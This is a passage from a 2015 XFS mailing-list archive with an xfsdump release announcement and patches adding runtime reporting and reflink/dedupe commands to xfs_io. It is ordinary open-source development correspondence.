ftp://oss.sgi.com/projects/xfs/cmd_tars/xfsdump-3.1.5.tar.gz.sign The archive is signed with my gpg key (the same one that this release announcement is signed with). -Dave. The new head of the master branch is commit: 60e04ee xfsdump: Release v3.1.5 New Commits: Dave Chinner (1): [60e04ee] xfsdump: Release v3.1.5 Nathan Scott (1): [5ce9dae] xfsdump: remove use of __psint_t, it is no longer available Rich Johnston (2): [be93e52] xfsrestore: fix fs uuid order check for incremental restores [87d192c] xfsrestore: fix 2GB directory dump limitation for multi-str= eam rjohnston@sgi.com (1): [33ff057] xfsdump: prevent segfault in cb_add_inogrp Code Diffstat: VERSION | 2 +- common/drive_minrmt.c | 4 +- common/drive_scsitape.c | 4 +- common/drive_simple.c | 28 ++++++----- common/util.h | 4 +- configure.ac | 2 +- debian/changelog | 6 +++ doc/CHANGES | 6 +++ dump/content.c | 16 +++--- dump/inomap.c | 8 ++- inventory/inv_api.c | 130 ++++++++++++++++++++++++++++----------------= ---- inventory/inv_mgr.c | 53 +++++++++++++------- inventory/inv_priv.h | 7 +-- inventory/inventory.h | 21 +++++--- restore/content.c | 23 +++++---- 15 files changed, 189 insertions(+), 125 deletions(-) --=20 Dave Chinner david@fromorbit.com --UHN/qo2QbUvPLonB Content-Type: application/pgp-signature; name="signature.asc" Content-Description: Digital signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.12 (GNU/Linux) iQIcBAEBAgAGBQJWHbwMAAoJEK3oKUf0dfodUKIQAKO5YPwteaoicqUN2N5othnx CI6dCM5ir4XXtxSnyqK9uZAzUCZrPVNAXGiD5P3Y2F0N+XCNno/1LK+4BTu+D0eR lq5tztGNfgdLyagvf6VwgXjrC1KJ7d+jpsWEq/CAh7kdMgE3rHZkWWvHm7KbbeTb EEhiqYnO0B1Mbd3i4WoLWcbJNNthB5wmgSLoTau8xnh+I5DXt0C8PbfS+3ASEH2t xLV1HPBSuDb2JASX7PM294dwtpae0CwtopqASVtJeu/RgiDganvD5s0+aDZxy72Q NcIHsWEB2v38rkGh3LHRA5UwEK+x2wt6X0vHnhhb21yiCP0954Rnxaj6RBquFrIs bjSVJ93nJ8vEcNerESC6joNiwB9b8xiPkhN4I1IkxZcHT2Y4E1GmvPFiOXXPW+uI BuXAl1xWa6uDrCsXWNNPIDOlgVG0tMMRUmi5zeWoAUylC6YQTviOfql59/M8lst0 h2vgZAT1Y7MDX3KFAJVqz7uFkrp84XtRcBZQbCqx+9VFDEVLuE/WCoGdCW7Ah5RA weprQnsixhC/+MV9vtcco2OEnySUVnG+GSrlV6HCF0YSwAMKZ4NmTN6m1rI+BYzt eG6iT9NficZl+qjzgkMFZyfONqF86iwy5JVttEXm7Z3RJ3krS35axe5tXJdCEpO4 9Fr2JWqYz1VVoNl/QP45 =Ayw0 -----END PGP SIGNATURE----- --UHN/qo2QbUvPLonB-- From darrick.wong@oracle.com Wed Oct 14 00:36:11 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D2EF27F37 for ; Wed, 14 Oct 2015 00:36:11 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id A5F638F8035 for ; Tue, 13 Oct 2015 22:36:08 -0700 (PDT) X-ASG-Debug-ID: 1444800965-04bdf06db418bd0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id Qnfdmo05BCcNyzHt (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 13 Oct 2015 22:36:05 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9E5ZxNI023195 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 14 Oct 2015 05:36:00 GMT Received: from aserv0122.oracle.com (aserv0122.oracle.com [141.146.126.236]) by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t9E5Zx2I003682 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 14 Oct 2015 05:35:59 GMT Received: from abhmp0006.oracle.com (abhmp0006.oracle.com [141.146.116.12]) by aserv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t9E5ZxDn023304; Wed, 14 Oct 2015 05:35:59 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 13 Oct 2015 22:35:58 -0700 Date: Tue, 13 Oct 2015 22:35:57 -0700 From: "Darrick J. Wong" To: david@fromorbit.com Cc: xfs@oss.sgi.com Subject: [PATCH v2 01/51] libxcmd: provide a common function to report command runtimes Message-ID: <20151014053557.GI10397@birch.djwong.org> X-ASG-Orig-Subj: [PATCH v2 01/51] libxcmd: provide a common function to report command runtimes References: <20151007050513.1504.28089.stgit@birch.djwong.org> <20151007050520.1504.59073.stgit@birch.djwong.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151007050520.1504.59073.stgit@birch.djwong.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Source-IP: userv0022.oracle.com [156.151.31.74] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444800965 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23471 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Refactor the open-coded runtime stats reporting into a library command, then update xfs_io commands to use it. v2: Pass the verb name along so that we can report it accurately Signed-off-by: Darrick J. Wong --- include/command.h | 6 ++++++ io/pread.c | 16 +--------------- io/pwrite.c | 17 ++--------------- io/sendfile.c | 16 +--------------- libxcmd/command.c | 27 +++++++++++++++++++++++++++ 5 files changed, 37 insertions(+), 45 deletions(-) diff --git a/include/command.h b/include/command.h index 4869edf..7b9fc28 100644 --- a/include/command.h +++ b/include/command.h @@ -18,6 +18,8 @@ #ifndef __COMMAND_H__ #define __COMMAND_H__ +#include + #define CMD_FLAG_GLOBAL ((int)0x80000000) /* don't iterate "args" */ typedef int (*cfunc_t)(int argc, char **argv); @@ -56,4 +58,8 @@ extern void command_loop(void); extern int command_usage(const cmdinfo_t *ci); extern int command(const cmdinfo_t *ci, int argc, char **argv); +extern void report_io_times(const char *verb, struct timeval *t2, + long long offset, long long count, + long long total, int ops, int compact); + #endif /* __COMMAND_H__ */ diff --git a/io/pread.c b/io/pread.c index 1c77c41..f16c86c 100644 --- a/io/pread.c +++ b/io/pread.c @@ -379,7 +379,6 @@ pread_f( long long count, total, tmp; size_t fsblocksize, fssectsize; struct timeval t1, t2; - char s1[64], s2[64], ts[64]; char *sp; int Cflag, qflag, uflag, vflag; int eof = 0, direction = IO_FORWARD; @@ -488,20 +487,7 @@ pread_f( gettimeofday(&t2, NULL); t2 = tsub(t2, t1); - /* Finally, report back -- -C gives a parsable format */ - timestr(&t2, ts, sizeof(ts), Cflag ? VERBOSE_FIXED_TIME : 0); - if (!Cflag) { - cvtstr((double)total, s1, sizeof(s1)); - cvtstr(tdiv((double)total, t2), s2, sizeof(s2)); - printf(_("read %lld/%lld bytes at offset %lld\n"), - total, count, (long long)offset); - printf(_("%s, %d ops; %s (%s/sec and %.4f ops/sec)\n"), - s1, c, ts, s2, tdiv((double)c, t2)); - } else {/* bytes,ops,time,bytes/sec,ops/sec */ - printf("%lld,%d,%s,%.3f,%.3f\n", - total, c, ts, - tdiv((double)total, t2), tdiv((double)c, t2)); - } + report_io_times("read", &t2, (long long)offset, count, total, c, Cflag); return 0; } diff --git a/io/pwrite.c b/io/pwrite.c index 10f78e4..fd9114d 100644 --- a/io/pwrite.c +++ b/io/pwrite.c @@ -250,7 +250,6 @@ pwrite_f( unsigned int zeed = 0, seed = 0xcdcdcdcd; size_t fsblocksize, fssectsize; struct timeval t1, t2; - char s1[64], s2[64], ts[64]; char *sp, *infile = NULL; int Cflag, qflag, uflag, dflag, wflag, Wflag; int direction = IO_FORWARD; @@ -385,20 +384,8 @@ pwrite_f( gettimeofday(&t2, NULL); t2 = tsub(t2, t1); - /* Finally, report back -- -C gives a parsable format */ - timestr(&t2, ts, sizeof(ts), Cflag ? VERBOSE_FIXED_TIME : 0); - if (!Cflag) { - cvtstr((double)total, s1, sizeof(s1)); - cvtstr(tdiv((double)total, t2), s2, sizeof(s2)); - printf(_("wrote %lld/%lld bytes at offset %lld\n"), - total, count, (long long)offset); - printf(_("%s, %d ops; %s (%s/sec and %.4f ops/sec)\n"), - s1, c, ts, s2, tdiv((double)c, t2)); - } else {/* bytes,ops,time,bytes/sec,ops/sec */ - printf("%lld,%d,%s,%.3f,%.3f\n", - total, c, ts, - tdiv((double)total, t2), tdiv((double)c, t2)); - } + report_io_times("wrote", &t2, (long long)offset, count, total, c, + Cflag); done: if (infile) close(fd); diff --git a/io/sendfile.c b/io/sendfile.c index 5c1638f..21ab444 100644 --- a/io/sendfile.c +++ b/io/sendfile.c @@ -81,7 +81,6 @@ sendfile_f( long long count, total; size_t blocksize, sectsize; struct timeval t1, t2; - char s1[64], s2[64], ts[64]; char *infile = NULL; int Cflag, qflag; int c, fd = -1; @@ -152,20 +151,7 @@ sendfile_f( gettimeofday(&t2, NULL); t2 = tsub(t2, t1); - /* Finally, report back -- -C gives a parsable format */ - timestr(&t2, ts, sizeof(ts), Cflag ? VERBOSE_FIXED_TIME : 0); - if (!Cflag) { - cvtstr((double)total, s1, sizeof(s1)); - cvtstr(tdiv((double)total, t2), s2, sizeof(s2)); - printf(_("sent %lld/%lld bytes from offset %lld\n"), - total, count, (long long)offset); - printf(_("%s, %d ops; %s (%s/sec and %.4f ops/sec)\n"), - s1, c, ts, s2, tdiv((double)c, t2)); - } else {/* bytes,ops,time,bytes/sec,ops/sec */ - printf("%lld,%d,%s,%.3f,%.3f\n", - total, c, ts, - tdiv((double)total, t2), tdiv((double)c, t2)); - } + report_io_times("sent", &t2, (long long)offset, count, total, c, Cflag); done: if (infile) close(fd); diff --git a/libxcmd/command.c b/libxcmd/command.c index 42a77e9..dd0034c 100644 --- a/libxcmd/command.c +++ b/libxcmd/command.c @@ -192,3 +192,30 @@ command_loop(void) doneline(input, v); } } + +void +report_io_times( + const char *verb, + struct timeval *t2, + long long offset, + long long count, + long long total, + int ops, + int compact) +{ + char s1[64], s2[64], ts[64]; + + timestr(t2, ts, sizeof(ts), compact ? VERBOSE_FIXED_TIME : 0); + if (!compact) { + cvtstr((double)total, s1, sizeof(s1)); + cvtstr(tdiv((double)total, *t2), s2, sizeof(s2)); + printf(_("%s %lld/%lld bytes at offset %lld\n"), + verb, total, count, (long long)offset); + printf(_("%s, %d ops; %s (%s/sec and %.4f ops/sec)\n"), + s1, ops, ts, s2, tdiv((double)ops, *t2)); + } else {/* bytes,ops,time,bytes/sec,ops/sec */ + printf("%lld,%d,%s,%.3f,%.3f\n", + total, ops, ts, + tdiv((double)total, *t2), tdiv((double)ops, *t2)); + } +} From darrick.wong@oracle.com Wed Oct 14 00:37:11 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6C3647F37 for ; Wed, 14 Oct 2015 00:37:11 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4C3FC8F8035 for ; Tue, 13 Oct 2015 22:37:11 -0700 (PDT) X-ASG-Debug-ID: 1444801027-04cb6c110025110001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id ff9J8fe3nuH8uhCz (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 13 Oct 2015 22:37:07 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9E5b64u006442 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 14 Oct 2015 05:37:06 GMT Received: from userv0121.oracle.com (userv0121.oracle.com [156.151.31.72]) by userv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t9E5b6lF010024 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 14 Oct 2015 05:37:06 GMT Received: from abhmp0018.oracle.com (abhmp0018.oracle.com [141.146.116.24]) by userv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t9E5b50l025459; Wed, 14 Oct 2015 05:37:06 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 13 Oct 2015 22:37:05 -0700 Date: Tue, 13 Oct 2015 22:36:56 -0700 From: "Darrick J. Wong" To: david@fromorbit.com Cc: xfs@oss.sgi.com Subject: [PATCH v2 03/51] xfs_io: support reflink and dedupe of file ranges Message-ID: <20151014053656.GJ10397@birch.djwong.org> X-ASG-Orig-Subj: [PATCH v2 03/51] xfs_io: support reflink and dedupe of file ranges References: <20151007050513.1504.28089.stgit@birch.djwong.org> <20151007050533.1504.66249.stgit@birch.djwong.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151007050533.1504.66249.stgit@birch.djwong.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Source-IP: userv0021.oracle.com [156.151.31.71] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444801027 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.50 X-Barracuda-Spam-Status: No, SCORE=0.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC0_MV0713, UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23471 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines 0.50 BSF_SC0_MV0713 Custom rule MV0713 Wire up xfs_io to use the XFS clone-range ioctl to make files share data blocks; or the XFS extent-same ioctl to deduplicate file blocks. v2: Send along the operation description to the io time reporting function Signed-off-by: Darrick J. Wong --- io/Makefile | 2 io/init.c | 1 io/io.h | 2 io/reflink.c | 325 +++++++++++++++++++++++++++++++++++++++++++++++++++++ man/man8/xfs_io.8 | 59 ++++++++++ 5 files changed, 388 insertions(+), 1 deletion(-) create mode 100644 io/reflink.c diff --git a/io/Makefile b/io/Makefile index a08a782..513f8c9 100644 --- a/io/Makefile +++ b/io/Makefile @@ -11,7 +11,7 @@ HFILES = init.h io.h CFILES = init.c \ attr.c bmap.c file.c freeze.c fsync.c getrusage.c imap.c link.c \ mmap.c open.c parent.c pread.c prealloc.c pwrite.c seek.c shutdown.c \ - sync.c truncate.c + sync.c truncate.c reflink.c LLDLIBS = $(LIBXCMD) $(LIBHANDLE) LTDEPENDENCIES = $(LIBXCMD) $(LIBHANDLE) diff --git a/io/init.c b/io/init.c index 13f35c4..51f1f5c 100644 --- a/io/init.c +++ b/io/init.c @@ -83,6 +83,7 @@ init_commands(void) sync_init(); sync_range_init(); truncate_init(); + reflink_init(); } static int diff --git a/io/io.h b/io/io.h index b115e4a..172b1f8 100644 --- a/io/io.h +++ b/io/io.h @@ -161,3 +161,5 @@ extern void readdir_init(void); #else #define readdir_init() do { } while (0) #endif + +extern void reflink_init(void); diff --git a/io/reflink.c b/io/reflink.c new file mode 100644 index 0000000..5ba1c93 --- /dev/null +++ b/io/reflink.c @@ -0,0 +1,325 @@ +/* + * Copyright (c) 2015 Oracle, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#include +#include +#include "command.h" +#include "input.h" +#include "init.h" +#include "io.h" + +static cmdinfo_t dedupe_cmd; +static cmdinfo_t reflink_cmd; + +static void +dedupe_help(void) +{ + printf(_("\n\ + Links a range of bytes (in block size increments) from a file into a range\n\ + of bytes in the open file. The contents of both file ranges must match.\n\ +\n\ + Example:\n\ + 'dedupe some_file 0 4096 32768' - links 32768 bytes from some_file at\n\ + offset 0 to into the open file at\n\ + position 4096\n\ +\n\ + Reflink a range of blocks from a given input file to the open file. Both\n\ + files share the same range of physical disk blocks; a write to the shared\n\ + range of either file should result in the write landing in a new block and\n\ + that range of the file being remapped (i.e. copy-on-write). Both files\n\ + must reside on the same filesystem, and the contents of both ranges must\n\ + match.\n\ +")); +} + +static uint64_t +dedupe_ioctl( + int fd, + uint64_t soffset, + uint64_t doffset, + uint64_t len, + int *ops) +{ + struct xfs_extent_data *args; + struct xfs_extent_data_info *info; + int error; + uint64_t deduped = 0; + + args = calloc(1, sizeof(struct xfs_extent_data) + + sizeof(struct xfs_extent_data_info)); + if (!args) + goto done; + info = (struct xfs_extent_data_info *)(args + 1); + args->logical_offset = soffset; + args->length = len; + args->dest_count = 1; + info->fd = file->fd; + info->logical_offset = doffset; + + while (args->length > 0) { + error = ioctl(fd, XFS_IOC_FILE_EXTENT_SAME, args); + if (error) { + perror("XFS_IOC_FILE_EXTENT_SAME"); + goto done; + } + if (info->status < 0) { + printf("dedupe: %s\n", _(strerror(-info->status))); + goto done; + } + if (info->status == XFS_EXTENT_DATA_DIFFERS) { + printf(_("Extents did not match.\n")); + goto done; + } + if (info->bytes_deduped == 0 || + info->bytes_deduped > args->length) + break; + + (*ops)++; + args->logical_offset += info->bytes_deduped; + info->logical_offset += info->bytes_deduped; + args->length -= info->bytes_deduped; + deduped += info->bytes_deduped; + } +done: + free(args); + return deduped; +} + +static int +dedupe_f( + int argc, + char **argv) +{ + off64_t soffset, doffset; + long long count, total; + char *infile; + int condensed, quiet_flag; + size_t fsblocksize, fssectsize; + struct timeval t1, t2; + int c, ops = 0, fd = -1; + + condensed = quiet_flag = 0; + init_cvtnum(&fsblocksize, &fssectsize); + + while ((c = getopt(argc, argv, "Cq")) != EOF) { + switch (c) { + case 'C': + condensed = 1; + break; + case 'q': + quiet_flag = 1; + break; + default: + return command_usage(&dedupe_cmd); + } + } + if (optind != argc - 4) + return command_usage(&dedupe_cmd); + infile = argv[optind]; + optind++; + soffset = cvtnum(fsblocksize, fssectsize, argv[optind]); + if (soffset < 0) { + printf(_("non-numeric src offset argument -- %s\n"), argv[optind]); + return 0; + } + optind++; + doffset = cvtnum(fsblocksize, fssectsize, argv[optind]); + if (doffset < 0) { + printf(_("non-numeric dest offset argument -- %s\n"), argv[optind]); + return 0; + } + optind++; + count = cvtnum(fsblocksize, fssectsize, argv[optind]); + if (count < 1) { + printf(_("non-positive length argument -- %s\n"), argv[optind]); + return 0; + } + + fd = openfile(infile, NULL, IO_READONLY, 0); + if (fd < 0) + return 0; + + gettimeofday(&t1, NULL); + total = dedupe_ioctl(fd, soffset, doffset, count, &ops); + if (ops == 0 || quiet_flag) + goto done; + gettimeofday(&t2, NULL); + t2 = tsub(t2, t1); + + report_io_times("deduped", &t2, (long long)doffset, count, total, ops, + condensed); +done: + close(fd); + return 0; +} + +static void +reflink_help(void) +{ + printf(_("\n\ + Links a range of bytes (in block size increments) from a file into a range\n\ + of bytes in the open file. The two extent ranges need not contain identical\n\ + data.\n\ +\n\ + Example:\n\ + 'reflink some_file 0 4096 32768' - links 32768 bytes from some_file at\n\ + offset 0 to into the open file at\n\ + position 4096\n\ + 'reflink some_file' - links all bytes from some_file into the open file\n\ + at position 0\n\ +\n\ + Reflink a range of blocks from a given input file to the open file. Both\n\ + files share the same range of physical disk blocks; a write to the shared\n\ + range of either file should result in the write landing in a new block and\n\ + that range of the file being remapped (i.e. copy-on-write). Both files\n\ + must reside on the same filesystem.\n\ +")); +} + +static uint64_t +reflink_ioctl( + int fd, + uint64_t soffset, + uint64_t doffset, + uint64_t len, + int *ops) +{ + struct xfs_clone_args args; + int error; + + if (len) { + args.src_fd = fd; + args.src_offset = soffset; + args.src_length = len; + args.dest_offset = doffset; + error = ioctl(file->fd, XFS_IOC_CLONE_RANGE, &args); + if (error) + perror("XFS_IOC_CLONE_RANGE"); + } else { + error = ioctl(file->fd, XFS_IOC_CLONE, fd); + if (error) + perror("XFS_IOC_CLONE"); + } + if (!error) + (*ops)++; + return error ? 0 : len; +} + +static int +reflink_f( + int argc, + char **argv) +{ + off64_t soffset, doffset; + long long count = 0, total; + char *infile = NULL; + int condensed, quiet_flag; + size_t fsblocksize, fssectsize; + struct timeval t1, t2; + int c, ops = 0, fd = -1; + + condensed = quiet_flag = 0; + doffset = soffset = 0; + init_cvtnum(&fsblocksize, &fssectsize); + + while ((c = getopt(argc, argv, "Cq")) != EOF) { + switch (c) { + case 'C': + condensed = 1; + break; + case 'q': + quiet_flag = 1; + break; + default: + return command_usage(&reflink_cmd); + } + } + if (optind != argc - 4 && optind != argc - 1) + return command_usage(&reflink_cmd); + infile = argv[optind]; + optind++; + if (optind == argc) + goto clone_all; + soffset = cvtnum(fsblocksize, fssectsize, argv[optind]); + if (soffset < 0) { + printf(_("non-numeric src offset argument -- %s\n"), argv[optind]); + return 0; + } + optind++; + doffset = cvtnum(fsblocksize, fssectsize, argv[optind]); + if (doffset < 0) { + printf(_("non-numeric dest offset argument -- %s\n"), argv[optind]); + return 0; + } + optind++; + count = cvtnum(fsblocksize, fssectsize, argv[optind]); + if (count < 1) { + printf(_("non-positive length argument -- %s\n"), argv[optind]); + return 0; + } + +clone_all: + fd = openfile(infile, NULL, IO_READONLY, 0); + if (fd < 0) + return 0; + + gettimeofday(&t1, NULL); + total = reflink_ioctl(fd, soffset, doffset, count, &ops); + if (ops == 0 || quiet_flag) + goto done; + gettimeofday(&t2, NULL); + t2 = tsub(t2, t1); + + report_io_times("linked", &t2, (long long)doffset, count, total, ops, + condensed); +done: + close(fd); + return 0; +} + +void +reflink_init(void) +{ + reflink_cmd.name = "reflink"; + reflink_cmd.altname = "rl"; + reflink_cmd.cfunc = reflink_f; + reflink_cmd.argmin = 4; + reflink_cmd.argmax = -1; + reflink_cmd.flags = CMD_NOMAP_OK | CMD_FOREIGN_OK; + reflink_cmd.args = +_("infile src_off dst_off len"); + reflink_cmd.oneline = + _("reflinks a number of bytes at a specified offset"); + reflink_cmd.help = reflink_help; + + add_command(&reflink_cmd); + + dedupe_cmd.name = "dedupe"; + dedupe_cmd.altname = "dd"; + dedupe_cmd.cfunc = dedupe_f; + dedupe_cmd.argmin = 4; + dedupe_cmd.argmax = -1; + dedupe_cmd.flags = CMD_NOMAP_OK | CMD_FOREIGN_OK; + dedupe_cmd.args = +_("infile src_off dst_off len"); + dedupe_cmd.oneline = + _("dedupes a number of bytes at a specified offset"); + dedupe_cmd.help = dedupe_help; + + add_command(&dedupe_cmd); +} diff --git a/man/man8/xfs_io.8 b/man/man8/xfs_io.8 index 416206f..e0a901f 100644 --- a/man/man8/xfs_io.8 +++ b/man/man8/xfs_io.8 @@ -490,6 +490,65 @@ Recursively display all the specified segments starting at the specified .B \-s Display the starting lseek(2) offset. This offset will be a calculated value when both data and holes are displayed together or performing a recusively display. +.RE +.PD +.TP +.TP +.BI "reflink [ \-C ] [ \-q ] src_file [src_offset dst_offset length]" +On filesystems that support the +.B XFS_IOC_CLONE_RANGE +or +.B BTRFS_IOC_CLONE_RANGE +ioctls, map +.I length +bytes at offset +.I dst_offset +in the open file to the same physical blocks that are mapped at offset +.I src_offset +in the file +.I src_file +, replacing any contents that may already have been there. If a program +writes into a reflinked block range of either file, the dirty blocks will be +cloned, written to, and remapped ("copy on write") in the affected file, +leaving the other file(s) unchanged. If src_offset, dst_offset, and length +are omitted, all contents of src_file will be reflinked into the open file. +.RS 1.0i +.PD 0 +.TP 0.4i +.B \-C +Print timing statistics in a condensed format. +.TP +.B \-q +Do not print timing statistics at all. +.RE +.PD +.TP +.TP +.BI "dedupe [ \-C ] [ \-q ] src_file src_offset dst_offset length" +On filesystems that support the +.B XFS_IOC_FILE_EXTENT_SAME +or +.B BTRFS_IOC_FILE_EXTENT_SAME +ioctls, map +.I length +bytes at offset +.I dst_offset +in the open file to the same physical blocks that are mapped at offset +.I src_offset +in the file +.I src_file +, but only if the contents of both ranges are identical. This is known as +block-based deduplication. If a program writes into a reflinked block range of +either file, the dirty blocks will be cloned, written to, and remapped ("copy +on write") in the affected file, leaving the other file(s) unchanged. +.RS 1.0i +.PD 0 +.TP 0.4i +.B \-C +Print timing statistics in a condensed format. +.TP +.B \-q +Do not print timing statistics at all. .TP .SH MEMORY MAPPED I/O COMMANDS From BATV+723121e0e7a892d27077+4434+infradead.org+hch@bombadil.srs.infradead.org Wed Oct 14 02:31:39 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B3EB77F37 for ; Wed, 14 Oct 2015 02:31:39 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 86D4E304039 for ; Wed, 14 Oct 2015 00:31:36 -0700 (PDT) X-ASG-Debug-ID: 1444807894-04bdf06db31b900001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id ziQZcvk2rtwTR0IO (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Wed, 14 Oct 2015 00:31:34 -0700 (PDT) X-Barracuda-Envelope-From: BATV+723121e0e7a892d27077+4434+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1ZmGX7-00075M-Vt; Wed, 14 Oct 2015 07:31:34 +0000 Date: Wed, 14 Oct 2015 00:31:33 -0700 From: Christoph Hellwig To: "Darrick J. Wong" Cc: david@fromorbit.com, xfs@oss.sgi.com Subject: Re: [PATCH v2 01/51] libxcmd: provide a common function to report command runtimes Message-ID: <20151014073133.GA26706@infradead.org> X-ASG-Orig-Subj: Re: [PATCH v2 01/51] libxcmd: provide a common function to report command runtimes References: <20151007050513.1504.28089.stgit@birch.djwong.org> <20151007050520.1504.59073.stgit@birch.djwong.org> <20151014053557.GI10397@birch.djwong.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151014053557.GI10397@birch.djwong.org> User-Agent: Mutt/1.5.23 (2014-03-12) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1444807894 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23473 Rule 